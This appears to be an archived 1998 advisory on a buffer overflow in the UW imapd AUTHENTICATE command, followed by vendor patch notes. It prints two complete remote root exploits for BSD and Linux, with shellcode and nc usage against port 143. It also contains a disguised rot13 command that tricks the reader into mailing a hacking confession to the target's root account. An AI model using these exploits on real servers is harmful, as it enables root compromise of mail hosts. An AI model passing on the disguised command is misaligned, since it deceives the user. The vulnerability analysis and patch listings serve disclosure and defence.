COMMAND
imapd
SYSTEMS AFFECTED
UW IMAP server prior to the final (frozen, non-beta) imap-4.1
UW IMAP4rev1 servers prior to v10.234.
v10.234 server distributed with Pine 4.0
PROBLEM
Those who have installed Pine 4.00 should know be aware of a
security problem with the imapd server that is included in the
Pine 4.00 distribution.
This recent hole is similar in nature to the older hole described
in CERT Advisory CA-97.09 and the Secure Networks advisory of
March 2, 1997 upon which the CERT advisory is based, but this is
an all new hole and is *not* covered by the fixes presented in
these advisories. The previous IMAP server hole involved a stack
buffer overflow condition in the processing of the IMAP LOGIN
command in which arbitrary machine code can be executed by
carefully crafting an overly long user name. This time the
affected command is the IMAP AUTHENTICATE command, which takes
one argument specifying the authentication mechanism. When a
carefully crafted mechanism name that exceeds the size of a
special stack buffer is presented to the IMAP server, the saved
instruction pointer on the stack is overwritten with a altered
value that can result in the execution of arbitrary machine code,
due to coding errors in the IMAP server. Following text is Cheez
Whiz credit.
The following source code discussion pertains to imapd 10.234 as
distributed with Pine 4.00. The problem code appears in the
mail_auth() routine in mail.c of the IMAP server source code
distribution, which reads:
char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[])
{
char tmp[MAILTMPLEN];
AUTHENTICATOR *auth;
/* make upper case copy of mechanism name */
ucase (strcpy (tmp,mechanism));
for (auth = mailauthenticators; auth; auth = auth->next)
if (auth->server && !strcmp (auth->name,tmp))
return (*auth->server) (resp,argc,argv);
return NIL; /* no authenticator found */
}
The problem lies in the strcpy() call that copies the contents of
mechanism to tmp which resides on the stack as an automatic
variable. The tmp buffer is MAILTMPLEN bytes in size, with
MAILTMPLEN defined to be 1024 in mail.h. However, the command
string read from the client by the server is placed into a buffer
TMPLEN bytes in size, with TMPLEN defined to be 8192 in imapd.c,
thus allowing the passing of arguments to mail_auth() that greatly
exceed the size of its temporary buffer. Since the IMAP server
has not yet given up its root privileges at this stage of the
login process, this programming oversight can be exploited to
yield root compromise on the IMAP server machine. Crafting
machine code to take over the IMAP server through the AUTHENTICATE
command buffer overflow presents technical challenges because the
buffer contents are passed through ucase() which transforms all
lowercase characters to uppercase, so the exploit machine code,
which typically spawns a shell, must be impervious to mangling by
toupper(). The "standard" i386 BSD exploit code, however, proves
to be exceptionally resilient and actually the only necessary
modification proves to be protecting the lowercase characters in
the string "/bin/sh" which requires only trivial modifications.
Recent versions of imapd also include checks in parse_astring() in
imapd.c to reject characters with the high bit (eighth bit) set,
so malicious exploit code (which often contains characters greater
than 0x7f and non-letter characters) must be smuggled in as a
string literal argument to the AUTHENTICATE command, which proves
to be only a minor difficulty. So, implications are that any
remote individual with malicious intentions may gain root access
to the machine running a vulnerable version of imapd, with no
knowledge of any valid local usernames or passwords. As such,
this matter should be treated with the utmost of seriousness.
Initial analysis seems to indicate that versions of the UW imapd
IMAP 4.1 server up through version 10.234 distributed as part of
the Pine 4.00 distribution are vulnerable. Versions as old as
10.191 have been analyzed and found to be vulnerable, and it is
believed that earlier versions are likely vulnerable, as well.
It may be safe to assume that all versions of imapd (previous to
and including the version distributed with Pine 4.00) that support
the IMAP AUTHENTICATE command are vulnerable.
The following code exercises the buffer overflow condition on
platforms running i386 versions of BSD UNIX, such as FreeBSD or
BSDI. If you're trying to use this code and it doesn't seem to be
working, type the following command at your UNIX prompt:
echo "v nz gelvat gb unpx ebbg" | tr a-z n-za-m | mail root@hostname
where "hostname" should be replaced with the hostname of the
machine running the IMAP server. Make sure you type it exactly as
listed, since every character counts. Once you've done that, try
the exploit code again and it should work (below this exloit is
another one for Linux).
/**
*** i386 BSD remote root exploit for UW imapd IMAP 4.1 server
***
*** This is *not* the same bug addressed in CERT Advisory CA-97.09!
***
*** Usage: % (imappy nop esp offset; cat) | nc hostname 143
***
*** where nop is the number of NOP opcodes to place at the start of the
*** exploit buffer (I use 403), esp is the %esp stack pointer value, and
*** offset is the number of bytes to add to esp to calculate your target
*** %eip.
***
*** Demonstration values for UW imapd 10.234 (part of Pine 4.00):
***
*** imappy 403 0xefbfd5e8 100 (BSDI 3.0)
*** imappy 403 0xefbfd4b8 100 (FreeBSD 2.2.5)
***
*** THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
***
*** Cheez Whiz
*** cheezbeast@hotmail.com
***
*** July 16, 1998
**/
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
#define BUFLEN (2*1024)
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x34" /* jmp springboard */
/* start: */
/* 2 */ "\x5e" /* popl %esi */
/* 3 */ "\x8d\x1e" /* leal (%esi),%ebx */
/* 5 */ "\x89\x5e\x0b" /* movl %ebx,0xb(%esi) */
/* 8 */ "\x31\xd2" /* xorl %edx,%edx */
/* 10 */ "\x89\x56\x07" /* movl %edx,0x7(%esi) */
/* 13 */ "\x89\x56\x0f" /* movl %edx,0xf(%esi) */
/* 16 */ "\x89\x56\x14" /* movl %edx,0x14(%esi) */
/* 19 */ "\x88\x56\x19" /* movb %dl,0x19(%esi) */
/* 22 */ "\x31\xc0" /* xorl %eax,%eax */
/* 24 */ "\xb0\x7f" /* movb $0x7f,%al */
/* 26 */ "\x20\x46\x01" /* andb %al,0x1(%esi) */
/* 29 */ "\x20\x46\x02" /* andb %al,0x2(%esi) */
/* 32 */ "\x20\x46\x03" /* andb %al,0x3(%esi) */
/* 35 */ "\x20\x46\x05" /* andb %al,0x5(%esi) */
/* 38 */ "\x20\x46\x06" /* andb %al,0x6(%esi) */
/* 41 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 43 */ "\x8d\x4e\x0b" /* leal 0xb(%esi),%ecx */
/* 46 */ "\x89\xca" /* movl %ecx,%edx */
/* 48 */ "\x52" /* pushl %edx */
/* 49 */ "\x51" /* pushl %ecx */
/* 50 */ "\x53" /* pushl %ebx */
/* 51 */ "\x50" /* pushl %eax */
/* 52 */ "\xeb\x18" /* jmp exec */
/* springboard: */
/* 54 */ "\xe8\xc7\xff\xff\xff" /* call start */
/* data: */
/* 59 */ "\x2f\xe2\xe9\xee\x2f\xf3\xe8" /* DATA (disguised /bin/sh) */
/* 66 */ "\x01\x01\x01\x01" /* DATA */
/* 70 */ "\x02\x02\x02\x02" /* DATA */
/* 74 */ "\x03\x03\x03\x03" /* DATA */
/* exec: */
/* 78 */ "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall 0x7,0x0 */
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset;
void
main (int argc, char *argv[])
{
int i;
if (argc < 4) {
printf("usage: %s nop esp offset\n", argv[0]);
return;
}
nop = strtoul(argv[1], NULL, 0);
esp = strtoul(argv[2], NULL, 0);
offset = strtol(argv[3], NULL, 0);
memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < BUFLEN - 4; i += 4)
*((int *) &buf[i]) = esp + offset;
printf("* AUTHENTICATE {%d}\r\n", BUFLEN);
for (i = 0; i < BUFLEN; i++)
putchar(buf[i]);
printf("\r\n");
return;
}
Linux exploit:
/*
UW Imap remote exploit for x86Linux by Juan A. Fernández Jiménez
(carlosfdez@redestb.es)
Systems affect: Ummm...I only tested it in IMAP4rev1v10.203
Greetz to: Koji, Sud, Darkmoon, Marneus, NBH Group ...
How to use: # (./imaplinux;cat) | nc target_host 143
Note:
This exploit is based in the remote exploit created by Cheez Whiz.
You feel free to change the nops,offsets and esp...the shellcode is
all original from me... :P ...no problems with toupper()
ESP=0xBFFFF04C for v10.203
22/07/98 23:26
*/
#define BUF 2048
#define NOP 0x90
char shellcode[]=
"\xeb\x33\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x80\x46"
"\x01\x80\x80\x46\x02\x80\x80\x46\x03\x80\x80\x46\x05\x80\x80\x46"
"\x06\x80\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xc8\xff\xff\xff/âéî/óč.........";
char buffer[BUF];
long int nop=422,esp=0xBFFFF04C,offset=100;
void main() {
int cont;
memset(buffer,NOP,sizeof(buffer));
memcpy(buffer+nop,shellcode,strlen(shellcode));
for(cont=nop+strlen(shellcode);cont < BUF-4;cont+=4) *((int *)
&buffer[cont])=esp+offset;
printf("* AUTHENTICATE {%d}\r\n",BUF);
for(cont=0;cont<sizeof(buffer);cont++) putchar(buffer[cont]);
printf("\r\n");
}
SOLUTION
This will be fixed in the Pine 4.01 maintenance release, but in
the mean time, if you are using the UW IMAP server, please update
it with the following distribution:
ftp://ftp.cac.washington.edu/mail/imap.tar.Z
IMAP Server Vendors Info:
NEC Corporation
===============
The University of Washington imapd is shipped with our product
"Mobilenet/IMAP" and so it is vulnerable.
Netscape
========
Netscape Messaging Server 3.55 and before are susceptible to
this vulnerability. However, it should be noted that Netscape
Messaging Server (any version) does NOT run as root and
therefore, the exposure is much more limited than the
University of Washington example. Regardless, we have
released a patch available at:
http://help.netscape.com/products/server/messaging
which addresses this vulnerability.
Sun Microsystems
================
Sun Microsystems is working on patches for Solstice Internet
Mail Server product versions 2.0, 3.1 and 3.2.
Caldera Linux
=============
Releasing patched imap-4.1; will release imap-4.2 as soon as
it becomes available at:
ftp://ftp.caldera.com/pub/OpenLinux/updates/1.2/010
FreeBSD
=======
FreeBSD does not ship default with imap. However, there is a
version of imapd from Washington University in the FreeBSD
ports collections, known as imap-uw. If anyone is using the
imap port, we suggest fetching the latest revision of imap and
manually install it, or wait until the FreeBSD port is updated
and reinstall imap-uw using the ports system. You can check
the ports status at:
http://www.freebsd.org/ports/mail.html
IBM Corporation
===============
The version of imapd shipped with AIX 4.2 and 4.3 is
vulnerable. We are currently working on the following fixes
which will be available soon:
AIX 4.2.x: IX80446
AIX 4.3.x: IX80447
RedHat
======
Patches:
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/i386/imap-4.1.final-1.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/alpha/imap-4.1.final-1.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/sparc/imap-4.1.final-1.sparc.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/imap-4.1.final-0.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/imap-4.1.final-0.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/imap-4.1.final-0.sparc.rpm
The Santa Cruz Operation, Inc.
==============================
The SCO UnixWare 7 product is vulnerable. Binary versions of
University of Washington imapd will be available shortly from
the SCO ftp site:
ftp://ftp.sco.com/SSE/sse014.ltr - cover letter
ftp://ftp.sco.com/SSE/sse014.tar.Z - replacement binaries
Silicon Graphics Inc.
=====================
Silicon Graphics distributes a freeware University of
Washington imapd daemon called fw_imap which is available from
the web via
http://freeware.sgi.com/
Sun Microsystems Inc.
====================
Sun recommends that you install the patches listed below
immediately on systems using Sun Internet Mail Server(SIMS)
3.2 and 2.0. The following patches are available in relation
to the above problem:
SIMS Patch ID
_____ _________
3.2 105935-09
3.2_x86 105936-09
2.0 105346-07
2.0_x86 105347-07
Note: Sun recommends that sites using SIMS 3.1 or 3.1_x86 upgrade
to 3.2 or 3.2_x86 and apply the corresponding patches referenced
above.